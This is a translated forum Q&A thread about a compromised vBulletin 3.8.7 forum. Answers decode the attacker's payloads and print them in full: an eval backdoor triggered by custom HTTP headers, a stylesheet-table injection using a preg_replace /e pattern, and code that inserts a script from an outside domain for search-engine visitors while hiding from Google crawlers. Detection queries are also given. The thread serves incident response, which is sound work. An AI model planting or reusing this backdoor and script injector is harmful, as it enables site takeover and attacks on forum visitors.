В последнее время я обнаружил пару сайтов vBulletin, которые я администрирую. Они используют последнюю версию серии 3.8 (3.8.7 Patch Level 2). Обычно мне хорошо удается найти дыры, где они попадают, и исправлять их, но это меня толкает. Они вводят данные в таблицы MySQL. Атака всегда происходит, когда они делают запрос GET скрипту faq.php
. Я смог сохранить данные, когда происходит атака. Это были массивы $_COOKIE
, $_GET
, $_POST
, $_COOKIE
и $_SERVER
. Единственное, что я видел, что выглядела неуместно, – это два новых ключа $_SERVER
, HTTP_SOVIET
и HTTP_PACK
:
http://pastebin.com/b6WdZtfK
Я должен предположить, что это корень проблемы, но я не могу на всю жизнь понять, как злоумышленник может установить эту переменную. В строке запроса ничего нет, ничего в массиве файлов cookie, это запрос GET, а не POST.
Есть идеи?
Переменная, подобная $_SERVER['HTTP_*']
может быть установлена путем добавления заголовков в HTTP-запрос.
Пример простой командной строки:
Страница PHP:
print_r($_SERVER);
Затем в командной строке:
curl --header "SOVIET: 123" localhost
Вы увидите, что $_SERVER['HTTP_SOVIET']
равно 123
.
В этом случае содержимое HTTP_SOVIET кодируется base64 (отдать, оно заканчивается на ==
). Unencoded, он превращается в:
function iai() { global $db; $base = base64_decode('JExLZ=='); $style = $GLOBALS['style']; if(!empty($style['styleid'])) { $a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\''); if($a['styleid']!='' and $a['replacements']=='') { $db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''); echo 'ok'; } else echo 'error'; } exit; } @iai();
Стоит отметить, что запрос там:
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
Проверьте таблицу стилей, так как это один из способов / путь кода к пользователю.
Переименование таблицы стилей на что-то еще, скорее всего, смягчит последствия этой атаки.
В этом случае бит base64 имеет больше bas64, у которого больше bas64, в котором в конечном итоге вычисляется:
function HdtBiGTAr() { global $ip_x; $file_d = '/tmp/phpYRcCBmBr'; $ip_l = (string)ip2long($ip_x); if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) { $data = file_get_contents($file_d); if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).','); if(!stristr($data,$ip_l)) { file_put_contents($file_d,"$ip_l,",FILE_APPEND); } else return true; } } function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; } function FzKuPfiAG() { $ip = ''; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']); if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) { $ip = $arr['0']; } } return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR']; } function Ap_hZD_() { if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) { if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true; } } function oMYYOar() { global $ip_x; $ip_x = FzKuPfiAG(); $a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.'); foreach($a as $b) { if(preg_match("/^$b/i",$ip_x)) return true; } } if(!empty($_SERVER['HTTP_REFERER'])) { if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) { $newtext = KeHHdiXL($newtext); } } return $newtext;
Это записывается в файл с именем /tmp/phpYRcCBmBr
, поэтому я бы посмотрел, что это говорит.
Это также скрывает его поведение от поисковых систем, что приятно.
Плохой бит для пользователей, скорее всего:
function KeHHdiXL($in) { global $vbulletin,$ip_x; $domain = 'kjionikey.org'; $find_me = 'vbulletin_menu.js?v=387"></script>'; $sec = 'SnBdhRAZRbGtr_'; $key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16); $url = mt_rand(100,999999).'.js?250568&'.$key; return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in; }
Что ставит некоторые JS на странице, размещенной на kjionikey.org
. Для этого JS требуется ключ, основанный на IP-адресе.
Я бы проверил любой код, который читает / исполняет содержимое случайных переменных $ _SERVER, но почему это было бы там, я не знаю.
В этом случае злоумышленник имеет код бэкдора, установленный в одной из ваших часто задаваемых вопросов ( phrases
db-таблицы vbulletin) в виде набора вызовов функций PHP chr()
.
${$GeAZvLDI=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95) ...
что в основном, когда eval'd через скрипт faq.php, декодируется:
if(!empty($_SERVER['HTTP_PACK']) and !empty($_SERVER['HTTP_SOVIET'])) { if(md5(md5($_SERVER['HTTP_PACK'])) == 'rDGeOKeGGdiVLFy') @eval(base64_decode($_SERVER['HTTP_SOVIET'])); }
Вы можете найти затронутые фразы VBulletin, выпустив SQL-запрос, подобный этому
SELECT varname, text FROM `phrase` where text like '%chr(%';
Хотя есть много вариантов этого, некоторые используют строки HEX, base64decode, assert, пакетные вызовы или просто простой PHP.